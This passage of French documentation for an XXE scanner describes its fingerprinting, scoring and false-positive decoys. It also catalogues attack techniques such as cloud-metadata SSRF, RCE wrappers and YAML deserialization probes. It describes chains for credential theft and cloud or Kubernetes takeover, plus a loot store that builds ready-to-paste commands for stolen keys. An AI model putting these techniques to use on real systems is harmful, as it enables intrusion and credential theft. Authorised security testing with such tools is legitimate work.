    2. **Capture de la baseline.** Sept requêtes `POST` bénignes sont envoyées. La longueur médiane, le temps écoulé, le code de statut, le hash du corps, l'entropie, l'IQR et le p95 sont calculés.
    3. **Fingerprint.** Neuf sondes de capacités sont exécutées contre la cible. Le texte d'erreur des sondes est mis en correspondance avec les signatures de parseur. Le résultat est mis en cache sur disque (sauf avec `--no-fingerprint-cache`).
    4. **Phases principales.** Lecture de fichier in-band, bascule JSON-vers-XML, matrice de content-type, variation de méthode, injection par paramètre de requête, SSRF, métadonnées cloud, wrappers RCE, error-based.
    5. **Phases dépendantes de l'OOB.** DNS-only, DTD externe, OOB par entité paramètre, contournement CDATA, variantes XInclude, fetchers XSLT/XSD, PI `xml-stylesheet`, multipart, DOCX, form-encoded.
    6. **Contournement et sinks alternatifs.** Contournement d'encodage, XInclude, upload SVG, enveloppe SAML/SOAP, SAML pré-signature.
    7. **Phases opt-in.** Blind basé sur le timing (`--timing`), DoS (`--unsafe`).
    8. **Phases documents Office et YAML.** PI `xml-stylesheet` dans les parties DOCX/XLSX, et sondes de désérialisation PyYAML / SnakeYAML.
    9. **Payloads personnalisés.** Chaque payload utilisateur est testé contre chaque cible de fichier.
    10. **Contournement WAF (optionnel).** Si `--bypass-waf` est défini, tout le catalogue de payloads est renvoyé via chaque encodeur sélectionné. S'exécute *après* les phases principales afin qu'un hit direct soit trouvé avant le balayage encodé.
    11. **Synthèse de chaîne.** `ChainTracker.emit_rollup_findings()` parcourt les templates complétés et émet un finding de synthèse par complétion.
    12. **Rapport.** Les résultats sont sérialisés en JSON, SARIF et/ou HTML autonome.
    
    Chaque phase s'exécute dans `_run_phase`, qui capture toute exception, journalise la trace sous `--debug` et passe à la phase suivante. Un finding émis avant un crash ne peut pas être perdu.
    
    ---
    
    ## Méthodologie de fingerprinting
    
    La phase de fingerprint répond à deux questions : **quelle pile XML est en cours d'exécution**, et **quelles capacités de résolution d'entités expose-t-elle**. Les deux orientent la sélection des phases — une cible qui rejette entièrement le DOCTYPE n'a pas besoin qu'on lance contre elle le balayage DTD local.
    
    ### Sondes de capacités
    
    Neuf sondes appariées, chacune avec un payload de test et un payload de contrôle :
    
    | Capacité | Test | Condition de succès (le test passe, le contrôle non) |
    |---|---|---|
    | `dtd_allowed` | DOCTYPE bénin avec une déclaration d'élément | `200`, chaîne marqueur présente |
    | `dtd_entity_syntax_accepted` | DOCTYPE avec une déclaration d'entité (non utilisée) | `200`, marqueur présent |
    | `dtd_parsed_but_not_resolved` | DOCTYPE avec entité déclarée et référencée | `200`, `&x;` brut visible (le parseur l'a gardé non expansé) |
    | `internal_entity` | Entité interne expansée | `200`, marqueur présent, `&x;` absent |
    | `external_file` | `SYSTEM "file:///etc/hostname"` | `200`, la sortie ressemble à un hostname, pas de balisage, pas d'entité brute |
    | `parameter_entity` | Stager d'entité paramètre interne | `200`, `PE_MARKER` présent, `&inner;` absent |
    | `external_dtd` | `SYSTEM "http://127.0.0.1:1/nonexistent.dtd"` | `5xx`, ou `Connection refused` / `Failed to load` / `IO error` présent |
    
    Le contrôle est la même requête avec un corps bénin. Une capacité n'est marquée `True` que si le prédicat de succès du test passe **et** que celui du contrôle ne passe pas. C'est ce qui rend le fingerprint différentiel plutôt que basé sur la correspondance de motifs — une cible qui renvoie toujours `200 OK` ne peut pas signaler faussement « DTD autorisé ».
    
    ### Correspondance de signatures
    
    Les corps de réponse des sondes (et tout corps de réponse `5xx`) s'accumulent dans un tampon de texte d'erreur. Ce tampon est mis en correspondance avec onze familles de signatures :
    
    | Famille | Chaînes représentatives |
    |---|---|
    | `libxml2` | `lxml.etree.XMLSyntaxError`, `xmlParseEntityRef`, `Failed to load external entity`, `Premature end of data in tag` |
    | `xerces` | `org.apache.xerces`, `com.sun.org.apache.xerces`, `SAXParseException`, `was referenced, but not declared`, `cvc-elt.` |
    | `dotnet` | `System.Xml.XmlException`, `System.Xml.XmlReader`, `An error occurred while parsing EntityName`, `DTD is prohibited` |
    | `java_sax` | `org.xml.sax.SAXParseException`, `DocumentBuilder`, `JAXP00010001`, `AccessExternalDTD`, `disallow-doctype-decl` |
    | `java_stax` | `javax.xml.stream.XMLStreamException`, `IS_SUPPORTING_EXTERNAL_ENTITIES`, `woodstox`, `com.ctc.wstx` |
    | `python_etree` | `xml.etree.ElementTree.ParseError`, `xml.parsers.expat.ExpatError`, `undefined entity`, `not well-formed (invalid token)` |
    | `php_libxml` | `Warning: DOMDocument::load`, `SimpleXMLElement::__construct():`, `DOMException:` |
    | `ruby` | `REXML::ParseException`, `Nokogiri::XML::SyntaxError`, `The entity expansion has been blocked` |
    | `node` | `ExpatError`, `xml2js`, `libxmljs`, `fast-xml-parser`, `Unexpected close tag` |
    | `perl` | `XML::LibXML`, `XML::Parser`, `XML::Twig`, `Couldn't parse` |
    | `go` | `encoding/xml`, `XML syntax error on line`, `xml: cannot unmarshal` |
    
    La famille avec le plus de correspondances l'emporte. La famille `libxml2` est délibérément la plus large — les classes d'exception de lxml, les noms des fonctions C sous-jacentes et les diagnostics lisibles de libxml2 comptent tous, de sorte qu'une cible utilisant lxml est distinguée avec confiance d'une cible utilisant le `etree` de la stdlib Python (qui est expat et correspond à la famille `python_etree` à la place).
    
    ### Cache sur disque
    
    Les résultats de fingerprint sont mis en cache à `~/.cache/xxeripper/fingerprints.json`, indexés par URL cible. Une entrée en cache stocke le nom du parseur gagnant, le dictionnaire complet des capacités et un horodatage. Les scans répétés de la même URL sautent entièrement la phase de sondage.
    
    Le cache est stable entre les exécutions, sauf si la pile XML de la cible change. En CI, pointez `HOME` vers un répertoire de cache persistant pour économiser les requêtes de sondage à chaque exécution. Supprimez le fichier ou passez `--no-fingerprint-cache` pour l'invalider.
    
    ### Gating des capacités
    
    Deux phases consomment le résultat du fingerprint :
    
    - **Lecture de fichier in-band** — ignorée si le fingerprint a réussi et n'a signalé aucune capacité de résolution d'entités parmi l'ensemble de `internal_entity`, `external_file`, `external_dtd`, `parameter_entity`, `dtd_allowed`.
    - **Balayage DTD local error-based** — même porte. La sous-technique d'entité malformée s'exécute quoi qu'il arrive, car elle réussit sur des piles (Xerces, .NET) qui n'ont pas du tout besoin d'un DTD local.
    
    La porte ne se déclenche que si le fingerprint a *réussi* (c'est-à-dire qu'au moins une capacité est `True` et qu'il y a une famille de parseur gagnante). Un fingerprint qui a renvoyé tout `False` — ce qui arrive quand la cible ne parse pas du tout le XML — est traité comme « inconnu » et les phases s'exécutent sans condition. Cela évite le mode de défaillance où un fingerprint mal configuré supprime de vrais findings.
    
    Passez `--no-fingerprint` pour désactiver entièrement la phase et la porte.
    
    ---
    
    ## Méthodologie de détection
    
    Le pipeline de détection est délibérément en couches. Chaque couche est un veto ou une pondération, et chacune a un mode de défaillance spécifique qu'elle est conçue pour prévenir.
    
    ### Couche 1 — Baseline statistique
    
    Sept requêtes `POST` bénignes sont envoyées avant tout payload d'attaque. À partir de ces échantillons :
    
    - **Longueur médiane du corps** — utilisée pour le scoring du delta de longueur.
    - **Temps écoulé médian** et **IQR** — utilisés pour le scoring de l'anomalie de timing.
    - **Code de statut modal** — utilisé pour le scoring du changement de statut.
    - **Hash de corps le plus courant** — utilisé pour le veto de non-changement.
    - **Entropie de Shannon médiane** sur tout le corps — utilisée comme vérification de cohérence de borne inférieure.
    - **Entropie fenêtrée médiane** sur des fenêtres de 256 octets — utilisée pour le score d'anomalie d'entropie.
    - **Union de tous les corps d'échantillons** — utilisée pour la vérification d'erreur de parseur ancrée sur la baseline.
    
    Les statistiques de baseline sont l'ancre. Chaque décision de scoring ultérieure compare une réponse candidate à cette baseline, et non à un seuil fixe.
    
    ### Couche 2 — Vetos
    
    Les vetos rejettent le bruit évident avant le scoring. Deux sont durs, un est souple.
    
    **Veto de réflexion (dur, −100).** Si le corps de réponse contient une sous-chaîne de 40 caractères du payload (après décodage URL et normalisation des espaces), le payload a été renvoyé verbatim sans résolution d'entité. C'est la source unique la plus courante de faux positifs dans les scanners naïfs — chaque endpoint « tester le parseur XML » qui renvoie son entrée paraîtrait sinon vulnérable.
    
    **Pénalité de réflexion souple (−30).** Si une réflexion est détectée mais que la réponse porte *aussi* un signal fort (une empreinte de fichier, un callback OOB corrélé, une intégrité de chaîne ou une erreur de parseur à haute confiance), le veto dur est rétrogradé en pénalité de −30. Cela gère le cas où une vraie lecture de fichier est intégrée dans une page qui renvoie aussi une partie de la requête.
    
    **Veto de non-changement (dur, −50).** Si le corps de réponse est identique octet pour octet au hash de corps le plus courant de la baseline, le payload n'a rien changé. `strong_signal` rétrograde cela en score normal sans le veto.
    
    **Correspondance de baseline normalisée (dur, −75).** Même lorsque le hash diffère, la réponse peut être structurellement identique après suppression des espaces, des blobs hexadécimaux, des nombres longs, des jetons CSRF et des IDs de session. Si c'est le cas, c'est du bruit de baseline. Même porte `strong_signal`.
    
    **Anomalie d'entropie (à la hausse uniquement).** Ne se déclenche que lorsque `median_length >= 256`. L'entropie de la réponse entière est dominée par le décor de page environnant et manque les petites régions intégrées à haute entropie — un résultat de lecture de fichier dans une grande page d'erreur. Le balayage fenêtré (fenêtres de 256 octets, pas de 128 octets, premiers 16 Kio) les capture. Échelle de +5 à 0,5 bit/octet au-dessus de la baseline jusqu'à +20 à 4,0 bits/octet au-dessus de la baseline.
    
    ### Couche 3 — Signaux positifs
    
    Chaque candidat survivant est évalué par rapport à la baseline :
    
    | Signal | Poids | Ancre de baseline |
    |---|---|---|
    | Empreinte de contenu de fichier | +40, +5 par indicateur supplémentaire | L'indicateur ne doit pas apparaître dans les corps de baseline |
    | Intégrité de chaîne (entité résolue de bout en bout, pas seulement déclarée) | +25 | Structurel — la réponse se parse comme du contenu, pas comme du balisage |
    | Erreur de parseur (haute / moyenne / basse) | +20 / +15 / +5 | La chaîne d'erreur ne doit pas apparaître dans les corps de baseline |
    | Anomalie de timing confirmée | +20 | Delta ≥1,5 s, ratio ≥2,5× la médiane, et soit delta ≥4× IQR soit delta ≥2× le jitter observé |
    | Anomalie d'entropie fenêtrée | +5 à +20 | À la hausse uniquement, échelonnée par delta de bits/octet |
    | Callback OOB corrélé | +50 | Le jeton dans le sous-domaine du callback correspond au jeton en attente |
    | Callback OOB non corrélé | +15 | Le callback est arrivé mais le jeton ne correspondait pas |
    | Delta de longueur (≥20 %) | +10 | Par rapport à la longueur médiane |
    | Changement de statut | +5 | Par rapport au statut modal |
    
    Les empreintes de fichier exigent **au moins deux** chaînes d'indicateurs correspondantes, et la réponse ne doit pas ressembler à du balisage. C'est ce qui empêche une page qui mentionne `root:x:0:0:` dans un extrait de documentation de déclencher le détecteur `/etc/passwd`.
    
    ### Couche 4 — Classification
    
    | Score | Signal obligatoire | Familles indépendantes | Résultat |
    |---|---|---|---|
    | ≥70 | Oui | ≥2 | **Confirmé** — CRITICAL |
    | 45–69 | Oui | quelconque | **Potentiel** — HIGH |
    | 25–44 | Oui | quelconque | **Potentiel** — MEDIUM |
    | <25 | Oui | quelconque | **Théorique** — LOW *(supprimé)* |
    | quelconque | Non | quelconque | **Théorique** — INFO *(supprimé)* |
    
    Les **signaux obligatoires** sont limités à trois : `file_type` (une empreinte de contenu de fichier a correspondu), `oob_correlated` (un callback OOB crypto-corrélé est arrivé) et `chain_integrity` (l'entité s'est résolue de bout en bout). Les erreurs de parseur et les anomalies de timing contribuent au score mais ne peuvent pas confirmer un finding à elles seules — une erreur de parseur dit que le payload a atteint le parseur, pas que l'entité s'est résolue ; un delta de timing dit que la cible a pris plus de temps, pas qu'une récupération réseau a eu lieu.
    
    Les **familles indépendantes** comptent les *types* de preuves distincts : `file_type`, `oob_correlated`, `chain_integrity`, `parser_error`, `response_elapsed`. L'exigence de deux familles signifie que même à un score ≥70, une seule empreinte forte ne peut pas être promue en CRITICAL à elle seule. Il faut un second signal indépendant — une erreur de parseur spécifique à la réponse XXE, ou une anomalie de timing, ou une intégrité de chaîne.
    
    ### Couche 5 — Construction de confiance au fil du scan
    
    Chaque phase voit une image plus confiante de la cible que la précédente. Le fingerprint s'exécute en premier et conditionne les phases de lecture de fichier. Les phases de lecture de fichier produisent du loot, qui alimente les étapes de chaîne. Les étapes de chaîne complètent les templates, qui produisent des synthèses. Les synthèses sont traitées comme des findings à part entière et apparaissent dans chaque format de sortie.
    
    Le résultat est un scanner qui traite « propre » comme un état à vérifier plutôt qu'à supposer, et rapporte la couverture à chaque étape afin que l'opérateur puisse faire la différence entre « la cible n'est pas vulnérable » et « la cible n'a jamais été testée ».
    
    ### Leurres à faux positifs dans le lab
    
    Les labs fournis sont livrés avec dix-sept endpoints sûrs spécifiquement conçus pour piéger un scanner qui sur-rapporte. Les cinq leurres de baseline :
    
    - `/xml/safe` — parse avec les entités désactivées. Les scanners corrects rapportent `[OK]`.
    - `/xml/noise` — renvoie un corps aléatoire par requête. La normalisation de baseline le capture.
    - `/xml/stripped` — parse le XML mais supprime d'abord les déclarations ENTITY. Un scanner qui traite « le parseur s'est exécuté » comme un finding échouera ici.
    - `/xml/silent` — parse mais supprime le DOCTYPE avant le parsing. Aucune entité ne subsiste. Leurre à faux négatifs.
    - `/xml/safe-metadata` — renvoie des chaînes de forme AWS à l'intérieur de HTML. L'empreinte de fichier exige deux indicateurs plus l'absence de balisage pour se déclencher — la réponse ici est du balisage.
    
    Plus douze contreparties sûres à portée équivalente (`/xml/safe-form`, `/xml/safe-query`, `/xml/safe-svg`, `/xml/safe-saml`, `/xml/safe-soap`, `/xml/safe-multipart`, `/xml/safe-docx`, `/xml/safe-xinclude`, `/xml/safe-xinclude-xml`, `/xml/safe-xslt`, `/xml/safe-xsd`, `/xml/safe-pi`) qui exécutent la même vérification de portée que leur contrepartie vulnérable mais parsent avec les entités désactivées. Tout finding sur l'un de ces dix-sept endpoints est un bug du scanner.
    
    ---
    
    ## Moteur de précision
    
    Scoring pondéré avec **portes de signaux obligatoires**. Chaque réponse candidate est évaluée par rapport à la baseline statistique. Cette section détaille les poids et les seuils ; la section [Méthodologie de détection](#detection-methodology) explique le raisonnement.
    
    | Signal | Poids |
    |---|---|
    | Callback OOB corrélé | +50 |
    | Empreinte de contenu de fichier | +40 (+5 par indicateur supplémentaire) |
    | Intégrité de chaîne (entité résolue, pas seulement déclarée) | +25 |
    | Delta d'erreur de parseur (haute / moyenne / basse) | +20 / +15 / +5 |
    | Anomalie de timing confirmée | +20 |
    | Anomalie d'entropie fenêtrée | +5 à +20, échelonnée par delta de bits/octet |
    | Callback OOB non corrélé | +15 |
    | Delta de longueur (déviation ≥20 %) | +10 |
    | Changement de code de statut | +5 |
    | Pénalité de réflexion (signal fort présent) | −30 |
    | Veto de réflexion (aucun signal fort) | −100 |
    | Veto de non-changement | −50 |
    | Correspondance de baseline normalisée | −75 |
    
    **L'entropie fenêtrée** utilise des fenêtres glissantes de 256 octets (pas de 128 octets, premiers 16 Kio). Se déclenche uniquement lorsque `median_length >= 256`, uniquement sur des décalages à la hausse, et uniquement lorsque le delta dépasse 0,5 bit/octet. Échelle de +5 au seuil jusqu'à +20 à 4,0 bits/octet.
    
    | Score | Signal obligatoire | Familles indépendantes | Résultat |
    |---|---|---|---|
    | ≥70 | Oui | ≥2 | **Confirmé** — CRITICAL |
    | 45–69 | Oui | quelconque | **Potentiel** — HIGH |
    | 25–44 | Oui | quelconque | **Potentiel** — MEDIUM |
    | <25 | Oui | quelconque | **Théorique** — LOW *(supprimé)* |
    | quelconque | Non | quelconque | **Théorique** — INFO *(supprimé)* |
    
    **Les findings de timing sont toujours `potential`, pas `confirmed`** — un delta de timing dit que la cible a pris plus de temps, pas qu'une entité a été résolue.
    
    ### Mapping CWE
    
    Recherche par préfixe le plus long d'abord. Les findings XXE portent CWE-611 ; les findings de divulgation d'information ajoutent CWE-200 ; le SSRF-via-entité, les fetchers XSLT/XSD et chaque finding `XXE-CLOUD-METADATA-*` ajoutent CWE-918 ; le `expect://` PHP et les wrappers `XXE-RCE-*` ajoutent CWE-78 ; Billion Laughs est CWE-776 ; la réutilisation de DTD local error-based ajoute CWE-829 ; `XXE-SAML-PRESIG` ajoute CWE-347 ; `XXE-WAF-BYPASS-*` ajoute CWE-693 ; la phase de désérialisation YAML ajoute CWE-502.
    
    ---
    
    ## Techniques d'attaque
    
    Plus de trente familles réparties en dix classes.| Classe | Techniques | Sévérité | CWE |
    |---|---|---|---|
    | In-band | Lecture de fichier classique, chaîne de filtres PHP, SSRF via entité | CRITICAL | 611, 200, 918 |
    | In-band RCE | PHP `expect://` | CRITICAL | 611, 78 |
    | Error-based | Réutilisation de DTD locale, entité malformée | CRITICAL | 611, 200, 829 |
    | Blind | DNS OOB, DTD externe OOB, entité de paramètre OOB, contournement CDATA, basé sur le timing | CRITICAL / HIGH | 611 |
    | Contournement d'encodage | UTF-16, UTF-7, UCS-4, DOCTYPE alternatif | HIGH | 611 |
    | Sinks alternatifs | XInclude (`parse='text'`, `parse='xml'`), upload SVG, enveloppe SAML, enveloppe SOAP | CRITICAL | 611, 918 |
    | Fetchers étendus | XSLT `document()`, XSLT `xsl:include`, XSD `schemaLocation`, XSD `xsd:import`, PI `xml-stylesheet`, champ XML multipart, upload DOCX | HIGH / CRITICAL | 611, 918 |
    | Métadonnées cloud | AWS IMDSv1, AWS IMDSv2 (détecté), identifiants AWS IAM, AWS user-data, GCP token/project, Azure IMDS/managed-identity, Alibaba RAM, OCI, secrets Kubernetes | CRITICAL / HIGH | 611, 918, 200 |
    | Wrappers RCE | Java `jar:`, PHP `data://`, PHP `phar://`, PHP `glob://`, PHP `compress.zlib://` | CRITICAL | 611, 78, 200 |
    | Pré-signature SAML | Corps de l'assertion analysé avant vérification de la signature | HIGH | 611, 347 |
    | JSON-vers-XML | Changement de Content-type sur des endpoints JSON uniquement | HIGH | 611, 200 |
    | Document Office | PI `xml-stylesheet` DOCX/XLSX récupéré par les processeurs XSLT côté serveur | CRITICAL | 611, 918 |
    | Désérialisation YAML | PyYAML `!!python/object/apply`, SnakeYAML `!!javax.script.ScriptEngineManager` | CRITICAL | 502, 611 |
    | DoS | Billion Laughs | HIGH | 776 |
    
    **Les phases de vecteur de livraison** sondent au-delà de la forme standard `POST` + `application/xml` :
    
    - **Matrice Content-Type** — la charge utile classique sous neuf types de contenu adjacents à XML. De nombreux serveurs ne routent vers leur parseur XML que lorsque le Content-Type correspond.
    - **Variation de méthode HTTP** — `PUT` et `PATCH`. Les API REST acceptent fréquemment XML sur ces méthodes même lorsque `POST` est JSON uniquement.
    - **Injection par paramètre de requête** — `?xml=`, `?data=`, `?payload=`, `?input=`. Les API et passerelles héritées acceptent souvent XML de cette manière même lorsque le corps n'est pas analysé comme XML.
    - **Bascule JSON-vers-XML** — une sonde XML bénigne détermine si l'endpoint accepte `application/xml` en plus du JSON annoncé. S'il n'est pas rejeté catégoriquement avec `415`, le scanner enchaîne avec une charge utile classique de lecture de fichier. Cela détecte Spring MVC avec `jackson-dataformat-xml` dans le classpath (qui accepte silencieusement XML sur n'importe quel endpoint `@RequestBody`, sans annotation nécessaire).
    
    **Les métadonnées cloud** constituent une phase dédiée, pas simplement une entrée dans une liste d'URL. Onze endpoints répartis sur six fournisseurs sont sondés. Chacun est empreinté par rapport à des clés spécifiques au fournisseur (`AccessKeyId`, `SecretAccessKey`, `SecurityToken` pour AWS IAM ; `access_token`, `expires_in`, `token_type` pour GCP OAuth ; `vmId`, `subscriptionId` pour Azure ; etc.). Une réponse contenant des marqueurs d'identifiants est promue en CRITICAL et n'est plus sondée. **Détection IMDSv2** : une réponse AWS avec le statut `401` et `token` dans le corps est signalée comme `XXE-CLOUD-METADATA-IMDSV2` (HIGH) — la primitive SSRF existe mais le service de métadonnées impose un jeton de session. Les identifiants extraits passent par `LootStore.add_secret` et atterrissent dans l'onglet Loot de la WebUI avec des extraits prêts à coller.
    
    **Les wrappers XXE-vers-RCE** sont sondés pour leurs signaux de succès caractéristiques :
    
    | Wrapper | Signal |
    |---|---|
    | Java `jar:file://…!/META-INF/MANIFEST.MF` | `Manifest-Version`, `Main-Class` |
    | PHP `data://text/plain;base64,…` | `phpinfo`, `<?php` |
    | PHP `phar://…/stub` | `unserialize`, `__PHP_Incomplete_Class` |
    | PHP `glob:///etc/*` | Listages de chemins (`/etc/`, `/root/`, `/usr/`) |
    | PHP `compress.zlib://…` | `root:x:`, `daemon:x:` |
    
    **Pré-signature SAML** — les fournisseurs de services SAML doivent analyser le corps de l'assertion avant de vérifier la signature, la séquence que CVE-2026-28809 (esaml) a exposée. La phase envoie d'abord une assertion SAML bien formée avec une signature délibérément invalide ; une erreur de parseur ou un `200` signale que l'endpoint a atteint l'analyse XML. Ce n'est qu'alors que la charge utile XXE est envoyée. S'exécute automatiquement sur les URL de forme SAML (`saml`, `sso`, `adfs`, `okta`, `assertion`, `federation`, `idp`, `sts/`, `sp/`), ou inconditionnellement avec `--saml`.
    
    **XSLT de document Office** — la PI `xml-stylesheet` est honorée par les processeurs de documents côté serveur dans certaines configurations : moteurs de rendu d'aperçu Word, convertisseurs PDF, LibreOffice headless et Apache POI XSLF. La phase construit un DOCX (ou XLSX) minimal dont la partie `word/document.xml` (ou `xl/workbook.xml`) porte la PI pointant vers une XSLT contrôlée par l'attaquant. Un callback corrélé prouve que la feuille de style a été récupérée. Distinct du XXE au sens strict — c'est une invocation XSLT, qui s'enchaîne vers la divulgation de fichiers (`document('file:///etc/passwd')`) et le SSRF.
    
    **Désérialisation YAML** — CWE-502, pas CWE-611. Le scanner embarque quatre sondes : PyYAML `!!python/object/apply:os.system` et SnakeYAML `!!javax.script.ScriptEngineManager`, chacune livrée à la fois comme corps brut `application/x-yaml` et à l'intérieur d'un wrapper XML. Un callback corrélé prouve la RCE. La phase s'arrête après le premier succès ; les variantes alternatives ne seraient que du bruit.
    
    **Phases de cible de fichiers** — ensemble prioritaire de 21 chemins par défaut ; `--full-file-scan` étend à 58 chemins, ajoutant les parcours Linux `/proc`, les sources d'application et fichiers `.env`, les chemins d'identifiants SSH/AWS/GCP, les marqueurs de conteneur, `/run/secrets/*`, la projection de compte de service Kubernetes, ainsi que les sauvegardes SAM Windows, les fichiers unattend, les journaux IIS et les identifiants administrateur. Dédupliqués au moment du scan ; aucun chemin n'est sondé deux fois.
    
    **Les résultats basés sur les erreurs sont séparés** car les techniques réussissent contre différents parseurs :
    
    - `XXE-ERROR-BASED-LOCAL-DTD` — détourne une DTD qui existe déjà sur le système de fichiers cible. Utilise la forme DOCTYPE externe acceptée par libxml2 ≥2.9.
    - `XXE-ERROR-BASED-MALFORMED` — déclare une entité de paramètre dans le sous-ensemble interne et laisse l'erreur du parseur divulguer le fichier. Fonctionne sur Xerces et .NET ; libxml2 rejette les PE du sous-ensemble interne au niveau C.
    
    **Les sondes de timing** pointent l'entité vers une adresse RFC 5737 TEST-NET-1 (`http://192.0.2.1/`), qui est garantie non routable. La résolution d'entité bloque sur le délai de connexion TCP du résolveur.
    
    **Phases opt-in :** `--timing` (maintient trois connexions d'environ 5s par cible), `--unsafe` (Billion Laughs), `--svg` (phases de forme upload), `--saml` (pré-signature SAML), `--full-file-scan` (liste de fichiers étendue), `--bypass-waf` (voir ci-dessous).
    
    ---
    
    ## Chaînes d'exploitation et extraction de butin
    
    Deux sous-systèmes transforment les résultats individuels en récit.
    
    ### Suivi de chaînes
    
    Chaque résultat qui passe par `add_finding` amorce des étapes de chaîne via un seul hook : `_record_chain_stages` lit l'ID du résultat et le dict de preuves et enregistre toutes les étapes que la combinaison implique. Un résultat avec une clé de preuve `file_type` enregistre `xxe_confirmed`. Un résultat avec un `loot_id` enregistre `file_content_recovered`. Un résultat dont les preuves contiennent `extracted_credentials` enregistre `credential_extracted` ; si l'identifiant est une clé privée SSH, `ssh_key_extracted` se déclenche également. Et ainsi de suite.
    
    Treize modèles de chaîne sont définis. Chacun requiert un ensemble d'étapes. Lorsque toutes les étapes requises sont présentes, la chaîne se déclenche **une fois** (protégée contre les conditions de concurrence) et émet un résultat de synthèse :
    
    | ID de chaîne | Chemin | Sévérité |
    |---|---|---|
    | `xxe_inband_file_credential_theft` | XXE → lecture de fichier in-band → vol d'identifiants | CRITICAL |
    | `xxe_imds_iam_aws_takeover` | XXE → IMDS → identifiants IAM → prise de contrôle de compte AWS | CRITICAL |
    | `xxe_error_based_file_recovery` | XXE → fuite basée sur erreur → contenu de fichier récupéré | HIGH |
    | `xxe_php_source_disclosure` | XXE → filtre PHP → divulgation de source | CRITICAL |
    | `xxe_rce_chain` | XXE → wrapper de protocole → chaîne RCE confirmée | CRITICAL |
    | `xxe_blind_oob_confirmed` | XXE → callback OOB blind confirmé | HIGH |
    | `xxe_ssrf_internal_enum` | XXE → SSRF → service interne atteint | HIGH |
    | `xxe_waf_bypass_confirmed` | XXE → contournement WAF → résolution d'entité confirmée | HIGH |
    | `xxe_kubernetes_cluster_takeover` | XXE → API de secrets Kubernetes → vol d'identifiants de cluster | CRITICAL |
    | `xxe_k8s_serviceaccount_token` | XXE → lecture de jeton SA in-cluster | CRITICAL |
    | `xxe_ssh_key_lateral_movement` | XXE → clé privée SSH → primitive de mouvement latéral | HIGH |
    | `xxe_gcp_oauth_token_extraction` | XXE → métadonnées GCP → extraction de jeton OAuth | CRITICAL |
    | `xxe_azure_managed_identity` | XXE → Azure IMDS → jeton managed-identity | CRITICAL |
    
    Les résultats de synthèse portent une trace d'étapes sérialisable en JSON, un score agrégé de 100 et une chaîne de raisons complète. Ils apparaissent dans les sorties JSON, SARIF et HTML comme tout autre résultat, et leur préfixe d'ID (`XXE-CHAIN-`) est exclu de l'amorçage de chaîne afin qu'ils ne bouclent jamais.
    
    ### Stockage de butin
    
    Chaque résultat de lecture de fichier passe par `LootStore`, qui :
    
    1. Extrait le contenu brut du fichier du corps de la réponse via `FileContentExtractor`. L'extracteur dispatche par `(file_path, fingerprint_type)` : `/etc/passwd` et `/etc/shadow` ont des matchers orientés ligne avec repli en milieu de ligne pour les erreurs de parseur qui divulguent un préfixe de chemin ; les clés SSH utilisent les délimiteurs PEM ; `.env`, `web.ini`, `system.ini`, `boot.ini` ont des matchers de style INI ; `web.config` utilise un matcher d'élément de configuration ; `/proc/self/environ` gère les corps délimités par NUL. Un repli générique extrait les blocs `<pre>` / `<textarea>` / `<code>` des réponses balisées.
    2. Tronque à 256 Ko (les identifiants sont extraits du contenu complet avant troncature).
    3. Déduplique par SHA-256 du contenu.
    4. Exécute `CredentialExtractor` sur le contenu complet.
    
    `CredentialExtractor` reconnaît sept types d'identifiants :
    
    | Type | Source | Confiance |
    |---|---|---|
    | `aws_iam` (JSON) | AWS IMDS `AccessKeyId` / `SecretAccessKey` / `Token` | 95 |
    | `aws_iam` (INI) | Fichier d'identifiants AWS CLI (`aws_access_key_id` / `aws_secret_access_key` / `aws_session_token`) | 90 |
    | `alibaba_ram` | Métadonnées Alibaba Cloud (`AccessKeyId` / `AccessKeySecret` / `SecurityToken`) | 90 |
    | `ssh_private_key` | Blocs de clé privée PEM (RSA, OpenSSH, DSA, EC, PKCS#8) | 90 |
    | `gcp_service_account` | JSON de compte de service (`"type": "service_account"` + `private_key_id`) | 85 |
    | `oauth_token` | Métadonnées GCP et réponse Azure managed-identity (`access_token` + `expires_in` / `expires_on`) | 85 |
    | `k8s_sa_token` | Kubernetes `SecretList` (`data.token` base64-JWT) ou un fichier de jeton de compte de service brut | 90 |
    | `generic_bearer` | Toute correspondance `Bearer <token>` ou `Authorization: <token>` avec un jeton de 24+ caractères | 40 |
    
    Chaque identifiant produit une liste d'extraits shell prêts à coller :
    
    - **AWS IAM** — `aws sts get-caller-identity` pour vérifier que la clé fonctionne toujours, `aws s3 ls`, énumération de politique IAM, et un bloc `export` pour le shell courant.
    - **Alibaba RAM** — `aliyun sts GetCallerIdentity`, `aliyun oss ls`, et un bloc `export` avec les variables d'environnement `ALIBABA_CLOUD_*` correctes.
    - **Clé privée SSH** — installation, empreinte, et essai contre `github.com` / `gitlab.com` / `bitbucket.org`.
    - **Compte de service GCP** — activation de la clé avec `gcloud auth activate-service-account`.
    - **Jeton d'accès OAuth** — `curl` contre l'endpoint userinfo de Google (fonctionne pour les jetons GCP) et l'endpoint subscriptions d'Azure (fonctionne pour les jetons Azure).
    - **Jeton de compte de service Kubernetes** — extraits `kubectl --token=…` construits avec le namespace et le nom de compte de service décodés depuis les claims du JWT, plus une commande `jq` pour inspecter les claims du jeton sans vérifier la signature.
    - **Bearer générique** — `curl` contre `httpbin.org/bearer` pour tester si le jeton est toujours actif.
    
    Les identifiants extraits sont attachés à la fois aux preuves du résultat (`extracted_credentials`) et à l'entrée de butin (`credentials`). L'onglet **Loot** de la WebUI et l'onglet **Overview** de l'Inspector les affichent en ligne avec des boutons de copie par commande. Le rapport HTML les inclut dans la section *Extracted loot*.
    
    La valeur complète de l'identifiant apparaît dans l'aperçu du butin. Le masquage a été supprimé dans la v1.0.0 car la même valeur est déjà visible non masquée dans l'Inspector, la sortie JSON, la sortie SARIF et le rapport HTML — masquer à un endroit et pas aux autres ne servait à rien.
    
    ### Routage du butin entre les techniques
    
    L'extraction de butin s'exécute sur chaque résultat dont le corps de réponse contient du contenu de fichier analysable :
    
    - **Lectures de fichiers in-band** — `/etc/passwd`, `/etc/shadow`, clés SSH, `.env`, etc. Extraits directement de la réponse.
    - **Fuites basées sur erreur** — le contenu du fichier est intégré dans le texte de l'erreur du parseur. Le matcher `/etc/passwd` en milieu de ligne l'attrape.
    - **Sortie de filtre PHP** — décodée en base64 avant extraction, puis routée via l'extracteur d'identifiants.
    - **Résolutions XInclude** — le contenu inliné est analysé par le même extracteur.
    - **Réponses de métadonnées cloud** — les identifiants sont extraits et routés via `LootStore.add_secret`, et les IDs de butin résultants sont attachés aux preuves du résultat en tant que `loot_ids`.
